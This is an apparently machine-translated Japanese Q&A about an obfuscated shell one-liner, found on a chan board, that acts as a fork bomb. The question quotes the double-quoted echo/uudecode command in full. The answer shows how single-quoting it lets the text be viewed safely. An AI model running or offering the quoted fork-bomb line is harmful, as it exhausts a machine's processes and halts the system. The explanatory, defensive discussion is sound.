質問: この文字列がフォーク爆弾であるのはなぜそしてなぜですか ランダムなチャンボードで見つけました:echo "i<ra('1e<w3t`rywdl&r()(y29j&r{,3rl7ig}&r{,t31wo});r`26<f]f;==" | uudecode どういうわけかこれを実行すると、横行してマシンを停止するまで無限に生成するプロセスが発生します。 「su」が何度も実行されようとしていることがわかります。奇妙なのは、テキストの出力ではなく、何も実行されないことを期待しているからです。このテキストをオンラインデコーダーに通して実行すると、単なるバイナリの書き出しができます。 このテキストの混乱は実際に何をしているのでしょうか。それを「安全に」表示する方法はありますか。
回答: 質問の後半に答えるには: ...「安全に」表示する方法はありますか? この文字列を使用しないようにするには、外側の二重引用符を一重引用符で置き換え、文字列内にある一重引用符をエスケープします。このように、シェルはコードを一切実行しません。実際には、すべてをuudecodeに直接渡します。$ echo 'i<ra('\''1e<w3t`rywdl&r()(y29j&r{,3rl7ig}&r{,t31wo});r`26<f]f;==' i<ra('1e<w3t`rywdl&r()(y29j&r{,3rl7ig}&r{,t31wo});r`26<f]f;== $ echo 'i<ra('\''1e<w3t`rywdl&r()(y29j&r{,3rl7ig}&r{,t31wo});r`26<f]f;==' | uudecode uudecode fatal error: standard input: invalid or missing 'begin' line 他の選択肢がコメントに記載されています。 kasperdが提案した :$ uudecode i<ra('1e<w3t`rywdl&r()(y29j&r{,3rl7ig}&r{,t31wo});r`26<f]f;== [press <ctrl>+d] uudecode fatal error: standard input: invalid or missing 'begin' line jacob krallさんは テキストエディタを使って内容を貼り付け、そのファイルをuudecodeに渡すように勧めました。